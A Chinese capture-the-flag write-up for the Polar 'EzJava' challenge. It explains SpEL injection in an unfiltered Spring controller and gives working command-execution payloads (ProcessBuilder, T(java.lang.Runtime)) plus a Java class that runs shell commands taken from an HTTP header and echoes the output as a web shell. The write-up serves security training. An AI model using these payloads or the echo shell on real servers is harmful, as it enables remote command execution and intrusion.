[Polar]EzJava 题目来源:Polar
题目类型:WEB
设计考点:Spel任意命令执行
认识SpEL Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。
基本用法: SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
示例1:不注册新变量的用法 1 2 3 ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("'Hello World'.concat('!')" ); System.out.println( exp .getValue() );
示例2:自定义注册加载变量的用法 1 2 3 4 5 6 7 8 9 10 11 public class Spel { public String name = "何止" ; public static void main(String [] args) { Spel user = new Spel (); StandardEvaluationContext context=new StandardEvaluationContext (); context.setVariable("user" ,user); SpelExpressionParser parser = new SpelExpressionParser (); Expression expression = parser.parseExpression("#user.name" ); System.out.println( expression.getValue(context).toString() ); } }
会用到的语法
spel语法中的T()操作符 , T()操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名(),后面会用得到
spel中的#操作符可以用于标记对象
回到题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package BOOT-INF.classes.com.example.demo.controller;import org.springframework.expression.EvaluationContext;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.expression.spel.support.StandardEvaluationContext;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@RestController @RequestMapping ({"/SPEL" })public class spel { @RequestMapping ({"/vul" }) public String spelVul(String ex) { SpelExpressionParser spelExpressionParser = new SpelExpressionParser (); StandardEvaluationContext standardEvaluationContext = new StandardEvaluationContext (); String result = spelExpressionParser.parseExpression(ex).getValue((EvaluationContext)standardEvaluationContext).toString(); System.out.println(result); return result; } }
看到网页的Controller层,在/SPEL/vul路径下接受一个ex字符串,然后用Spel对他进行解析,这里不存在任何过滤,可以直接使用SPel的任意文件执行。
首先我们构造java题常见的payload (ProcessBuilder)
1 2 3 4 5 6 String [] str = new String []{"open" ,"/System/Applications/Calculator.app" }; ProcessBuilder p = new ProcessBuilder ( str ); p.start(); Spel也可以使用new 的方法将多行代码汇聚成一行new ProcessBuilder (new String []{"calc" }).start()
若需要Shell反弹则使用Runtime类,但是在Runtime类的实例需要他的静态方法getRuntime来获取,所以在Spel我们需要T()来获取Runtime类的Object
1 2 T(java.lang.Runtime ).getRuntime().exec(new String[]{"calc" }) T(java.lang.Runtime )的作用就是 Runtime rt=Runtime .getRuntime()中的rt;
本题中直接将获取到的ex值传入Spel,所以我们只需要把payload传给ex即可
1 2 new java.io .BufferedReader (new java.io .InputStreamReader (new ProcessBuilder (new String[] {"bash" ,"-c" ,"cat /app/flag.txt" }).start ().getInputStream (), "gbk" )).readLine ()
恶意类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class SpringEcho extends AbstractTranslet { static { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); String[] cmd = System.getProperty("os.name" ).toLowerCase().contains("windows" )? new String []{"cmd.exe" , "/c" , httprequest.getHeader("C" )} : new String []{"/bin/sh" , "-c" , httprequest.getHeader("C" )}; byte [] result = new byte [0 ]; try { result = new java .util.Scanner(new ProcessBuilder (cmd).start().getInputStream()).useDelimiter("\\A" ).next().getBytes(); } catch (IOException e) { throw new RuntimeException (e); } try { httpresponse.getWriter().write(new String (result)); } catch (IOException e) { throw new RuntimeException (e); } try { httpresponse.getWriter().flush(); } catch (IOException e) { throw new RuntimeException (e); } try { httpresponse.getWriter().close(); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }